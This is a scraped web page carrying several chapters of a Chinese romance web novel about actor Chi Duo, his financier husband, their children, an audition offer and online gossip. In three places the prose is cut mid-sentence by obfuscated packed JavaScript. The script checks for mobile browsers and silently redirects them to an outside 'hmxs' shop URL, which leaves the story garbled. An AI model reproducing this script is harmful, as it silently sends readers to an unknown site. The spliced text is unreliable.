小冷脸男抬头看他,说得很认真。 “本来想卡着时间给你的。” 他顿了顿,又补了一句,“但你刚刚心情很糟糕。” 说完这句话,他明显有点紧张,小声问:“你收了这个,可以开心一点吗?” 迟铎:“……” 幼儿园之后就开始走冷脸路线的小孩,这一刻却突然双手合十,微微仰着头,眼睛一眨不眨地看着他,毫无心理负担地卖起了萌。 迟铎当场被击溃。 太可爱了。 而且这张脸,和裴与驰小时候,真的像得离谱。 他直接挪到儿子身边,低头亲了一下他的额头,又顺手把人圈进怀里。 “我们一起拆。” 袋子打开,礼物被拿出来,迟铎的动作却停住了。 他原本以为是银的,不算贵,小冷脸男平时的零花钱完全够用。要是真想买贵一点的,也可以刷他的副卡,可那张卡最近根本没有任何消费记录。 可现在躺在他手里的,是一枚白金别针项链,配着一枚带钻的白金十字架,价格显然不在“零花钱努力一下”的范围内。 迟铎没说话。 小冷脸男很快察觉到了什么,闷闷地靠进他怀里,小声交代:“是老爸。” “上周五放学,我拜托李叔把车开到克罗心去逛了一下。” “结果进去以后,接待我的人说什么都没有,都是only for display的。” 他一边说,一边很认真地回忆当时的情景。 “而且接待我的人还特别认真地告诉我,我想要的那款,太贵了。” “小朋友买不起。” 迟铎:“……” “李叔……应该告诉老爸了。” 小冷脸男继续说。 “第二天,老爸带我去俱乐部,问我愿不愿意给他当球童。” “他说,给两倍小费,但要求服务质量。” 说到这儿,他的声音慢慢小了下去。 “其实……不止两倍。” “也就,一个周末。” 迟铎:“……” “所以这个礼物……”小冷脸男抬起头,很认真地下结论,“算是老爸和我一起送的。” 说完,他又坐直身体,郑重其事地补了一句:“以后我会靠自己送的!” 迟铎:“…………” 虽说男儿有泪不轻弹,但这一刻,他是真的有点想哭。 小的,是天使降临人间。 大的…… 迟铎有点坐不住了。 但他还是强行坐回去,陪小冷脸男把甜点和冰淇淋吃完。小冷脸男吃得很认真,他自己那份,却一口没动。 注意力全在手机上。 一边想着该怎么跟某位好好赔礼道歉,一边又忍不住开始委屈。 他今天表现确实有点过分,可今天是他生日啊。 他和儿子一起消失了这么久,居然一个电话也没有。 难道真是知子莫若父? 他真出轨了????? 而且还是那种,已经在外面有了一个完整的家那种??? 迟铎牵着儿子离开餐厅的时候,脑子还有点飘。一半是被感动的,一半是气的,气某个至今一个电话都没打过来的金融男。 一路上,他在脑子里循环播放《人鱼小姐》,牵着儿子的手,整个人跟游魂一样回到酒店房间。 刚到门口,就被一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979072|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个侍应生拦下。 对方态度恭敬,说房间出了点问题,酒店已经免费帮他们升级到了顶层复式,行李也已经一起送过去了。 迟铎愣了一秒。 他想了想,他们这趟出门的全部行李,大概也就小冷脸男身上那个书包,于是没多问,点头应了。 旁边一直老老实实牵着他手的小冷脸男,悄悄撇了撇嘴。 升级后的套房房门一开。 迟铎:“……” 花。 全是花。 从玄关开始,一路铺到客厅,花瓣铺得很厚,像是生怕人一脚踩空似的。扶手上、转角处、能放东西的地方,全被花艺占满了,显然是终于遇到了一个预算不限、审美不限、发挥也不限的甲方。 空气里混着浆果味的香薰,香薰蜡烛已经点好,从地面一路延伸到二楼,布置得庄重又浮夸,怎么看都像是在办一场极其正式的求婚现场,而且标准明显不低。 求婚对象得是公主那种。 不用猜。 谁的手笔,显而易见。 迟铎脑子里第一反应甚至不是“他居然搞这个”,而是飞快地回忆了一下自己订酒店时的状态,情绪爆炸,手速飞快,付款方式没看。 一秒破案。 大概率刷的是裴与驰的卡。 情绪在这一刻,终于绷不住了,迟铎站在那儿,看着房间中间那个人,半天没说话。 西装外套已经脱了,衬衫袖口挽到小臂,整个人站在那儿,像是已经在这里来回折腾了很久 裴与驰看见他们,明显松了一口气。 自家管家像是NPC刷新似的,不知道从哪冒出来,低声对小冷脸男说,一楼的卧室准备了电玩。 迟铎面无表情地把自己账号密码发给了管家。 “给他。” 小冷脸男很配合,点了下头,转身就走,动作熟练得像是早就预料到这一幕。 一楼卧室门关上。 下一秒, 裴与驰的衬衫,成功湿了。 迟铎几乎是贴过去的,额头抵在他肩上,力道不重,却一点退路都没留,声音压得很低,带着点不讲理的委屈:“你怎么现在才哄我。” 裴与驰抬手抱住他,没说话,只是把人抱得更紧。 先是生气,再是后悔,然后是因为对方一直没回应而脑补一路的出轨剧情,最后被这一整套安排精准击碎。 迟铎已经懒得给自己的情绪下定义。 反正他拒绝承认自己哭了,他宁愿承认自己是流口水。 他吸了吸鼻子,抬头看着裴与驰:“你是不是觉得你自己特别浪漫?” 裴与驰想了想,很认真地回答:“现在不太确定。” 迟铎终于没忍住,笑了一下。 冰桶、香槟、水果,二楼卧室里一应俱全。 后面不管什么姿势,反正就是要抱着,要看着,要贴着,要亲着,黏得不像两个已经结婚生子的成年人,倒像是好不容易偷尝禁果的初恋恋人。迟铎整个人赖在裴与驰的怀里,撒娇撒到毫无尊严,对面却显然也一点抵抗力都没有,只能把人抱紧,低头亲他的头发。 “最爱你。” 迟铎的声音还带着哭后的鼻音,说得很轻,像是在确认,又像是怕说得太大声就不算数。 裴与驰顿了一下,低头贴着他的额头,声音低得几乎融进呼吸里。 “我也是。” 迟铎没应声,又凑过去一点,额头抵着他,声音压得更低,生怕楼下戴着耳机打电玩的小孩听见。 “即使算上他。” 裴与驰失笑,却还是顺着他:“也最爱你。” 迟铎这才满意,又贴过去,小声又固执地补了一句: “最最最爱你。” 一楼。 小冷脸男戴着耳机,专心打游戏,操作熟练得不像小学生,抢完NPC的财物,又一枪爆头,动作行云流水。 他抽空抬头看了一眼门外,撇了撇嘴。 好消息:可以玩妈咪的账号,里面全是他这个年纪理论上不该解锁的内容。 好消息:今晚可以通宵,没人管。 坏消息:父母在楼上到底在干什么,真的很难猜。 难猜到妈咪为了防止打扰,利索地把自己的账号密码给了他,连一句多余的话都没有。 小冷脸男一脸冷漠,对父母抵抗不了动物本性这件事,表示保留意见。 不过…… 比起离婚。 父母沉迷低级趣味,还是完全可以接受的。 他继续低头打游戏,表情一点点放松下来。 妈咪。 还有…… 老爸。 都。 最喜欢了。 第二天一早,热搜很安静,但词条一个不落。 #疑似出轨# #迟铎金融中心# #项链# #克罗心价格# 配图也很讲究。 一张,是昨天下午迟铎脸色奇差,直接进裴与驰公司的侧影。另一张,是今天早上他出门时,被刻意放大的项链特写:白金别针项链挂着一个白金十字架吊坠,低调得近乎敷衍。 于是,版本迅速统一:裴总犯错,裴太当场去抓,事后被一条寒酸的项链随便打发,居然还哄好了。 评论区高度达成共识。 【笑死,男人出轨后的标准流程】 【这也太寒酸了吧,钱都花外面了吧】 【迟铎这是被冷处理了吧】 【阔太做到这份上也挺憋屈的】 【说白了就是怨妇,还得自己给自己找台阶下】 【不然怎么解释就这寒酸东西还能被哄好】 结论相当明确:裴与驰没花心思,迟铎在自我安慰,这段婚姻,全靠一个人硬撑 但苦于名字不能提,人也不能骂。于是热搜心照不宣,选择对那条项链下手,轮番鞭尸寒酸。总之怎么安全怎么来。 小冷脸男看着“寒酸”两个字,冷笑了一声。 等着。 35.恢复 车库的门缓缓升起。 灯光一点点落下,一辆新车被司机稳稳送进来。车身极低,线条锋利,宽体贴地,几乎是贴着地面滑进车位。 引擎已经熄火,但那种不安分的存在感还悬在空气里。 Valkyrie。 迟铎站在一旁,看着这辆软顶怪物,没说话。 这东西跟日常驾驶的车毫不相关,嚣张到极致的线条设计只为了极致的速度而服务。 那天在车里,他确实随口嫌了一句声浪。 嫌是真的嫌,但也就那么一句,更多还是被裴与驰突然的浪漫砸得有点措手不及,下意识岔开话题而已。结果裴与驰一如既往,直接预判了他的预判。 迟铎不用想也知道,那台Valhalla运到国内那天,裴与驰八成已经替他试过了。声浪不对,记在心里;哪里差点意思,也一并记下。至于后来是怎么又搞到这台的,他懒得问。 反正问了,多半也只会得到一句“正好有渠道”,或者“没费什么事”。 关于他的事,在裴与驰这里,一向如此。 迟铎绕着车走了一圈,指尖在车门边缘停了一下,又很快收回。看着那道流畅到近乎张扬的线条,他忽然想起王平柔在电话里的话。 话里话外,都是暗示自毁前程。 停工一年、生孩子、出柜、粉圈崩塌。在她眼里,这些都是清清楚楚、摆在明面上的代价。至于裴与驰那一侧,她看不见,也不敢多想。 迟铎当时没回嘴。 不是不知道她在担心什么,只是觉得真要解释起来,实在太长,也太麻烦了。得从十几年前说起,可真要开口,又不知道该从哪一句开始。 他们的回忆太琐碎了。无非就是那些结婚誓言里会写到的事:一起吃饭、牵手、睡觉,一直陪在对方身边,一起面对生老病死。真要一条条列出来,反倒显得刻意。 没这个必要。 被推进手术室的那天,他感受着手掌交握传来的温度,内心很平静。那曾经是迟铎最恐惧的一件事,可到最后,所有不安都被裴与驰一点点抚平。 既然连那样的时刻都能一起走过,承认自己是男同,已婚,又算得了什么。 想到这儿,他心里那点被念叨出来的烦躁散得很快,甚至懒得再细想。 迟铎象征性地再次感叹了一下竹马文学的不合理之处,这次是好的方面。感叹完,动作依旧利索,直接给那台Valhalla挂了牌。 虽然老公有钱,但现在是夫妻共同财产,能省则省,拒绝铺张浪费。 搞定这件事后,他开着裴与驰以前接送他用的那辆路虎出了门。 自己以前常开的那些性能车,早就被打包卖掉了。现在车库里,除了赛道日偶尔拉出来爽一爽的超跑,剩下的全是这种大型SUV。 非常不迟铎。 但可以完美容纳小海马的安全座椅,以及一整套育儿用品。 迟铎一边感叹自己终究还是被生活磨平了棱角,一边把车稳稳开进一个高档住宅区——古老师的家,上线下表演课。 那天赛道跑完之后,裴与驰对他的态度确实变了。 不再卡作息,不再事无巨细地盯着,去哪儿、几点回、行程怎么排,全都不再过问。除了依旧雷打不动地禁烟,其他方面,像是终于完成了一次身体评估。 而且评估结果是通过,但这对迟铎来说,是把双刃剑。 白天自由度直线上升,想出门就出门;晚上却要为身体康复付出应有的代价。裴与驰显然把这四个字理解得相当全面,各种花样同步解锁。 不愧是对冲基金公司老板,一生致力于在任何领域都要榨出alpha(超额收益)。 迟铎对此的评价是:自由是有的,但一点也不白给。 他把车停好,解开安全带,下车前还在心里默默给自己点了个赞,表扬自己昨晚坚守住了底线,勤奋好学。不然要是被哄着多玩一会儿,今天连门都别想出。 熟门熟路进了古老师家,一抬头看见对方的表情,迟铎心里就咯噔一下,完了,骂上一个学生肯定还没骂够。 线上课的时候,古老师看着他那永远只开到锁骨的摄像头,还一直念着他可能是真的在休养期,说话格外收着,骂人都显得慈爱,顶多一句“这里再稳一点”“状态可以收一收”。 那段时间,他几乎是被温柔对待的。 直到线下。 古老师亲眼看见他站在面前,脸色红润,气息充足,站姿笔直利落,沉默了三秒,然后当场收回全部耐心。从找位置到看镜头,从呼吸到情绪,从“你在干什么”到“你怎么敢这么演”,每天一套流程,准时准点,毫不留情。 迟铎被骂得一度怀疑人生。自信被精准击碎,自尊被反复摩擦,回家路上连影子都显得比平时矮了一截。 好在晚上回到家,裴与驰在“肯定他价值”这件事上,一向行动力惊人,且精力旺盛。 迟铎的评价是:白天被专业人士系统性摧毁,晚上被另一位非专业人士全方位重建,效率极高。至于在哪里、怎么样重建的,细节不重要。 这天课结束的时候,古老师翻着资料,像是随口一提,说自己手里有几个新电影的试镜机会,问他有没有兴趣。 “你也学了一年了。”她合上本子,看了他一眼,“镜头感抓住了,台词里的情绪也到位,可以试试看。” 她又补了一句:“你不是一直说想演小人物吗?” 话很轻,却正中要害。 “我可以推荐你去试。”古老师把话说在前头,“但我先说清楚,只是试镜。成不成,看导演,看项目,看你当天状态,我不包结果。” 她抬眼看了他一眼他的无名指,语气如常:“外面的热搜我知道,在我这儿没影响。表演是纯粹的,我只从表演的角度看你。” 迟铎带着剧本回到家。 小海马已经会爬了,迟了了之前安排的全屋防护终于派上用场,甚至还被进一步升级。桌腿包了,柜角包了,连墙面转折处都贴了软垫。 一眼看过去,像个高配版儿童充气城堡。 迟铎看着,母爱刚起,羞耻感就跟着上线。不管是他还是裴与驰,气质都和这个家格格不入,站在里面都有点像误入亲子乐园的可疑成年人。 试镜这件事,还是得跟王平柔说一声。他迟疑了两秒,最终还是拿起了手机。 屏幕亮起,他盯着“王平柔”那三个字看了两秒,深吸一口气,按下拨号。 电话几乎是秒接。 “这次又是什么?” “离婚?争家产?你又直了?准备重回清纯玉男?” 王平柔的声音劈头盖脸砸过来。 迟铎:“……” “停。”他清了清嗓子,“我有正事。” 那头顿了一下,迅速进入应激模式。 “你先说。”王平柔语气警觉,“是工作,还又是‘我有一个朋友’?” “反正总不会是良心发现。” 迟铎:“……是试镜。” “什么?” “试镜。”迟铎又重复了一遍,“古老师那边,有几个电影项目,让我去试试看。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982195|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……” 这回安静得有点久。 足足三秒后,王平柔冷笑了一声:“你等会儿。” 键盘声立刻响起。 “古晓月?” “电影试镜?” “不是青年导演自嗨型文艺片?” “正经的。”迟铎靠在沙发上,看着地上那一大片软垫,“她说能推荐,但不包过。” “行。” 王平柔开口,语气几乎是一秒切回职业模式。 “那这事我们就得认真对待。” 她停了一下,明显是在给自己,也是在给迟铎打预防针。 “不过丑话我先说前头。” “你这个时间点去试镜,对家肯定要做文章,投资方十有八九装死,尤其是男投资人,更是避你如瘟神。” “到时候通稿一出,集邮、上位、男宠三件套,直接一步到位。” “投资人喜提大gjm,小海岩称号。” “现在选人,可不单看表演。” 迟铎刚想开口。 “你闭嘴。” 王平柔毫不客气打断。 “你一出柜,商务那边现在集体装死,粉圈是粉碎式崩塌,我已经被做成表情包了,上面还附赠大妈两个字。” 迟铎没反驳。 “你现在跟我说试镜?”她冷笑了一声,“你是真不想缓一缓。” “是。”迟铎答得很干脆,“有机会就去。” 电话那头又安静了一瞬。 “……行。” 丑话说完,王平柔难得说了点实在的。 “黑热搜压得这么快,加上最近财经圈那点风声,投资人也不是傻子。” “至少知道,你不是单兵作战。” “但我跟你说清楚。”她语气又开始锋利,“有人兜底,不等于你可以摆烂。” “这是试镜。你要是演得不行,没人会因为你老公姓裴,就给你递纸巾。” 她补了一刀:“而且到时候丢脸的,不止你一个。” 迟铎勾了下嘴角:“知道。” “地址发我。”她已经完全回到经纪人模式,“我过去跟你当面聊。” 迟铎一愣:“要不我去公司?” “公司?”王平柔冷笑,“你现在要是敢往公司门口一站,7788组今晚就能狂欢新增三十页。” 迟铎沉默了一秒,视线扫过满屋软垫、防撞条、儿童围栏。 “……也不是不方便。” “我半小时到。” 电话挂断得干脆利落。 迟铎盯着黑掉的屏幕,又低头看了看正在软垫上努力爬行的小海马,忍不住啧了一声。 行吧。 手机很快又震了一下。 【我还有十分钟到】 “到就到。”迟铎看着屏幕,有点莫名,“这么早报备什么?” 【我怕你们来不及穿衣服】 迟铎:“……” 他盯着那行字看了两秒,直接拨了回去。 电话刚接通,他就开口:“你觉得他一天到晚很闲?” 那头还没来得及说话。 “这个时间点,他会在家?” 说完,迟铎利落挂断。 手机黑屏。 迟铎站在原地,把没说完的话在脑子里补完。 ……不然怎么能给他买得起那台女武神。 不过他又想起昨晚,再想了想今天早上。 迟铎沉默了两秒。 ……裴与驰,好像确实,也没那么忙。 36.幸福 王平柔进客厅的时候,整整一分钟没说出话。 她不是没见过世面,是不知道先看哪儿。 签NDA协议那天晚上,她已经隐隐约约有听说,还试探性地给迟铎发过一整套育儿手册。迟铎当时没立刻打电话过来骂她,她心里就有数了。 懂了,拿钱办事,闭嘴是基本修养。 但那会儿,一切都停留在听说的阶段,没看见,就当无事发生。 直到现在。 整个一楼地面铺满了软垫,几乎找不到一块能让成年人正常站稳的硬地。桌角包了,柜脚包了,连墙面转折都贴了防撞条,所有可能伤到在地上笨拙爬行的小bb的地方,全都被提前预判过,甚至过度预判。 角落里靠着一个体型夸张的大熊,粉白色的公主娃娃屋占了半面墙,各种婴儿装饰密密麻麻,毫不留情地侵占了整个空间。 现在这房子里,谁说了算,一目了然。 王平柔站在原地,视线扫过一圈,又下意识落在几件还幸存、保持原样的家具上。线条冷硬,颜色全黑,一眼就能看出来,属于这个房子上一阶段的审美体系,极简、性冷淡。 她又回想起迟铎以前的家,战损水泥风,冷光,空旷;每次进门先被一排古董欧洲瓷娃娃精神攻击,空洞的眼睛在暗处反光,比伽椰子还要贞子。 再低头看看现在这个,儿童充气城堡。 跨度实在过大。 整个空间被重新规划过。动线低矮而连贯,弧形结构一路铺开,攀爬、滑行、翻滚,全都顺着孩子的行动轨迹来。灯光被刻意压柔,视线所及的每一个高度,都稳稳落在bb的安全范围内。 小bb明明还只会爬,家里却已经提前进入下一阶段,嵌入式滑梯、封闭式小通道、软包球池彼此咬合,像是直接把一整套高端儿童乐园搬进了客厅。 像是早早默认孩子会在这里长大、奔跑、翻滚,撞上无数次,再被父母一次次稳稳接住。 王平柔脑子不合时宜地蹦出一个念头。 这要是po上小红书,根本不用滤镜,随手一拍就是豪门育儿样板间。不管是内容主打“豪门宝妈的育儿日常”,还是“小少爷的成长记录”,涨粉速度估计都挺快的。 芳心纵火犯爆改育儿博主。 而bb还疑似、可能、也许、maybe、大概率、应该、可以确定就是他生的。 她嘴张了一下,又张了一下。 千言万语卡在喉咙里,最后只挤出一句极其干巴的话:“……你家,挺幼崽友好的。” 迟铎坐在沙发上,面无表情:“嗯。” 有些话,确实不必再说。 她只是职业经纪人,一切以迟铎签合同时的身份证性别为准,一切按合同办事,不多问,不越界,不替当事人下定义。这样,才能走得远,这是她的生存之道。 王平柔迅速切回工作状态:“行。”她环顾四周,“本子在哪?” 迟铎慢吞吞地指了下茶几:“那儿。” 王平柔走过去,把那几页纸翻开。翻页很快,一边看一边下判断。 “一个犯罪片,一个公路片,还有一个日常向的小人物。” 她指尖在纸页上点了点,语气很稳。 “全是配角,但都不是背景板。” 她把犯罪片那页翻出来,语气干脆:“这个是关键节点人物,出场不算多,但每场都在推主线,底色全灰。演好了很出彩,今后好接警匪片。” 又翻到公路片:“这个戏份更长,跟主角一路同行,情绪跨度大,后面得兜住落点,稳定度不够就会崩。” 最后她停在日常小人物那页,抬眼看了迟铎一下:“这个看着最不起眼,其实最难。没情节帮你抬,全靠你对这个人物生活细节的把握。 她合上本子,随手敲了敲:“性格差得挺远,一个阴,一个滑,一个普通到不能再普通。” “但放在你现在这个阶段,比男一安全,也比工具人值钱。” “演砸了,锅不全在你;演好了,业内会看见你。” 她抬头看他,补刀:“前提是,你真能演。” 迟铎没什么波澜,只抬了下眼:“我想试小人物。” 王平柔对此丝毫不意外。 这些年,找上迟铎的电影项目不少,尤其爆米花片。不是科班没关系,妆造帅点,演几分钟氛围型 npc,大银幕留张帅脸就行。导演省心,资本开心,他躺着把钱挣了。 可迟铎偏偏不吃这套。 他当年为了演女主那个弟弟,十几分钟的戏,推了两部片酬丰厚的大导商业大片,几乎零片酬出演。那角色不讨巧、不出风头,甚至算不上重要,却刚好是他想演的那种人。 王平柔当时就知道:他要的不是“上镜”,是“表演”。 “行。”她把小人物那页单独抽出来,把导演和编剧名字记下,“这个导演有谈的空间。我听过,他在某些方面有坚持,要的是演员,不是话题。” 她把纸收进包,动作利索:“越少中间人越好谈。试镜流程我来走,你只管准备。” 话音刚落,玄关那边传来开门声。 裴与驰进门的时候,还是一身剪裁利落的高级西装。领带没松,袖扣在灯下闪了一下。他换鞋,视线先在客厅扫了一圈,在那片软垫和爬行区停了半秒,确认没问题,才走过来。 “王小姐。” “裴总。” 王平柔条件反射站直,职业微笑瞬间焊死在脸上。 迟铎:“……” 他真的很想当场问一下这位双标精本精,你刚刚在微信里暗示我们在家裸奔、白日宣淫、时间管理混乱的时候,可不是这个态度。 明明同岁,同一批长大。 一个一开口就能被叫“裴总”。 另一个得到的永远是:“你是不是又犯病了?”“你还想不想干了?”“你是不是又做鸭了?” 连称呼系统都懒得更新,辱骂模板倒是常年沿用。 迟铎一边在心里记仇,一边把视线移到裴与驰身上,迅速完成了一次关键确认。 老公还是又年轻又帅。 不是靠资历,不靠发际线,更不是熬到中年才混来一句尊称。 纯靠脸,纯靠气场。 这一确认,他心里立刻舒服了一半,剩下那一半,全部精准投射到了王平柔身上。 凭什么? 他这点不爽还没消化完,裴与驰已经弯腰把歪掉的软垫推正,又把快爬到边缘想越狱的小 bb 捞回安全区,动作一气呵成。 “聊完了?”他问。 “刚好。”王平柔说,“方向定了。” 裴与驰“嗯”了一声,没有追问细节,只是自然地走到迟铎身边,低头看了他一眼:“累吗?” 迟铎靠在沙发上,语气懒懒的:“还行。” 大的没累,小的明显累了。 小bb在地上爬了半天,动作开始变慢,哼唧声不大,但方向性极强。迟铎低头看了一眼,没让保姆过来,自己起身走过去,弯腰把人一把捞进怀里。 动作熟得不能再熟。 小bb刚换了位置,有点不乐意,在他怀里扭了一下,小手胡乱挥了挥,正好拍在迟铎的锁骨上。 “嘶——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983315|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟铎下意识吸了口气,低头看他:“你手劲怎么这么大?” 裴与驰扫了一眼那只还在乱挥的小手,语气非常笃定:“像你。” 迟铎:“……” 他脑子里不受控制地闪过今早换衣服时的画面,镜子里,裴与驰背上那几道还没完全消下去、又新添的痕迹。 迟铎当场选择闭嘴。 他百分之百确信,自己只要再多说一句,裴与驰嘴里就要吐不出什么好话。 王平柔站在原地,把这一整段从头看到尾,连眼皮都没动一下。 这育儿日常,确实有点过于炸裂。 这两个人单拎出来,都完全不像是会照顾孩子的类型,大概率主打配偶丧偶式育儿。 一个西装笔挺,看着像孩子长到十八岁都不一定知道读哪所学校的;一个破洞卫衣,更像把孩子当玩具玩两下就丢给保姆的。 结果现在,一个比一个熟练。 王平柔的视线不自觉在两人身上转了一圈,又落回迟铎身上。他穿衣风格没变,可从前那些离不开的配饰,项链、裤链、别针,全都没了,只剩耳钉和婚戒。 不是风格变了,是被生活精准筛选掉了,大概是怕刮到、碰到bb,因此一点点风险都不愿意冒。 意识到这一点,她心里反而更复杂了。 比起之前知道亚比潮男做男做女都精彩那种炸裂,这种反差更让人猝不及防,不是人设,不是营业,也不是一时兴起。 他是真的在当一个好妈妈。 如果硬要总结她现在的心情,大概就是一边眼睁睁看着豪门爱情童话照进现实,小bb幸福得不行,甜得要命;一边又觉得这人设组合实在太猎奇、太冷门,怎么看都不像是正常世界会量产的版本。 晚饭她几乎是机械性地吃完的。 一边看迟铎熟练地拍嗝、换姿势,手法干脆;一边看裴与驰单手回邮件,眼睛没离开屏幕,另一只手却精准地伸出去,把快被小bb啃进嘴里的布书抽走,顺手丢回收纳篮。 全程,没使唤任何人。 王平柔盯着那个收纳篮看了两秒,这么小的 bb,到底为什么会有这种东西? 她扫了一眼封面,粉的。还没来得及细想,视线又被粉色公主娃娃屋吸引走了。 她沉默了一秒,低头看看迟铎怀里那个正在哼唧、货真价实的小少爷,再抬头看看那座明显超前消费、而且性别完全不对的公主屋。 ……也行。 显然在这个家里,买东西不看阶段,也不看性别,先买了再说。 至于用不用得上,合不合适,那都是以后的事。 不喜欢就换。 一顿饭的时间,王平柔把该看的、不该看的,全看完了。 喝完最后一口茶,她终于把状态切回工作模式,清了清嗓子:“行,试镜这块我回去安排流程。最近你少刷论坛,少看热搜。” 迟铎抱着儿子,低头拍了拍后背:“我本来也不看。” 裴与驰接得更干脆:“秘书会联系王小姐。” 王平柔:“……” 行。 她现在终于明白了。 为什么“男同,已婚”这四个字,对她来说是职业生涯级别的炸弹,却能被迟铎轻描淡写地打出来,直接甩给全网。 不是冲动,也不是破罐子破摔。 就是日子已经过到这一步了,幸福满得快溢出来,藏不藏,好像都没差。 她在心里,默默给这段猎奇到不太科学的爱情童话点了个赞。 拎包,走人。 “行,你们继续。” “我回去干活。 37.试镜 在迟铎参加试镜的前一晚,7788组里关于他的讨论还在发酵。 有人在深夜发了一个李涛帖,内容不激进,也没有涉及任何实锤爆料,只是顺着已知信息往下推,逻辑清楚,也完全符合组规。 标题很平常。 【他老公到底什么来头?(粉黑大战不要进,纯吃瓜人来涛)】 主楼只是在试图认真分析迟铎那位始终被反复提起、却始终扒不出确切信息的老公,到底有没有背景。 又一夜过去了。 没人觉得他老公很像内娱典型的营销路径吗?一开始就是一堆标签贴上来,天龙人、点金胜手、大佬,各种路人爆料、营销号通稿,自己躲在后面不承认也不否认。 等哪天被扒出来不是这样子,就可以出来说确实没说过。但如果没花钱营销,一个从没听过的野鸡基金公司,能突然整个财经圈都“听说过”? 回复不多,一共三条,也没有人试图深挖或者爆料,全是情绪输出。 1L: 恶臭给子们别营销了,名头吹这么大,扒半天扒不出来家里干什么的,那就是假的。 2L: ls说得对,他老公就算真有钱,保不齐也是来路不明。缅北县城四大家族不也很有钱。要是扒出来是开东南亚月亮城的就好笑了,唯一的事迹就是给留子看盗版电视剧/电影,还得充vip不然50s广告。 3L: xs,迟铎抠脚这么久,不会是业内早就知道他是通讯录不敢用他了吧?所以才干脆出柜吸流量,下一步是不是要和“富豪老公”出来带货?专门带母婴用品让那群梦女粉买,超绝地狱笑话了。 帖子存在的时间很短,不到三分钟,页面刷新失败。 操作失败:帖子不存在或者无权操作。 一共也没几层,热度甚至没来得及起来,就被管理员精准定位,阅后即焚。 这反而让人不安。 7788 组不是没扒过艺人背景,也不是没阴阳怪气过所谓的资本,天龙人,这种连任何实料都没有的讨论,按理说根本轮不到秒删。 这删帖速度,让原本觉得哥夫只是个“野路子、老赖、假富豪,东南亚哥”的那批吃瓜群众,明显意识到问题了。 内娱那套扒法显然走不通了,继续在论坛里打转,只会鬼打墙。更何况,原本活跃的营销号和所谓业内爆料几乎在同一时间噤声,没有人敢继续拱火。反倒是财经圈突然开始动了起来,但动得很怪,异常猥琐。 不是正面下场,也不是明确表态,而是零星转发、模糊引用,连个中文大名都不敢完整打出来,像是在隔着一层试水。 这种反常,暗示着该换方向,ylq吃不到瓜,那就从财经圈吃。 这边平台的关键词进不来,但外面并不难查,方向一换,很多东西就开始对得上了。 伦敦峰会刚结束不久,相关报道还在持续发酵。Bruce Pei这个名字,多出现在国外财经媒体里,篇幅不算长,却反复出现。正面照片不算少,公开露面的场合也不止一次, 更关键的是,他名下那家对冲基金公司本身就出现在峰会的赞助方名单里,而他本人,还是主讲嘉宾之一。 有这些权威报纸的报道加成,迟铎这位老公,确实不像是什么缅北天团f4。 有人翻去了小蓝鸟,把能查到的报道一条条对时间线。零碎的信息拼在一起,迟铎老公的履历看下来像是一条被完整规划过的高端成长路径,这种路径只能靠两样东西堆。 问题也正是在这里出现的。 如果只是普通意义上的资本家后代,在国外做什么事,比如买球队、并购公司,父辈或者家族背景通常都会被媒体写得很清楚,甚至会被反复提及,成为故事的一部分。 可关于Bruce Pei事业的报道,在提到家族时,普遍显得克制,不深挖,不展开,点到即止,但某些用词,却让人忍不住多看一眼。 有人顺着这些报道耐心翻了《华尔街日报》,很快意识到方向不太对,又转而去找了另一条线索。 再往下,就没什么可说的了。 这种背景,其实并不难猜。老头排排坐,按姓氏一个个排除就好。更何况早年《华尔街日报》和《纽约时报》都写过几篇语气微妙的文章,提过母亲的资金去向,用词谨慎,却足够让人记住。 很快,就有人意识到Bruce Pei是谁,或者说,不再需要确认他是谁的儿子。 和迟铎家里那种早已退到视线之外、在公开场合几乎不再被提起的状态不同,这边显然还站在台前。也正因为如此,后面的讨论很快就停住了。 没人愿意当出头鸟,最多只在小蓝鸟上含糊提一句,语焉不详,点到即止。至于把这些零碎线索原样搬回国内平台,更是没人敢碰。 还是有人不信邪。 论坛里陆续有人重新开帖,换角度、换问法,试图把这件事重新拉回娱乐区来讨论。 “有没有懂的来说说?” “是不是被营销吓住了?” “真有这么邪乎?” 讨得多了,心里多少都有点数了。 这瓜看起来像是娱乐圈的,吃到嘴里才发现并不是。 于是很短的一段时间里,话题走向出现了肉眼可见的漂移。 最开始还是梦女榜一秒变男通讯录塌房,中途一度被带偏成可能涉及治安处罚的严肃方向,大家卯着劲想搜索迟铎的名字有没有因为jzyl出过公告。等到这条线被迅速掐断,讨论只好拐了个弯,变成了另一位男通讯录到底是谁。 这个问题同样没能被讨论太久。 很快,话题再次降级,落到了一个相对安全、也相对好聊的层面。 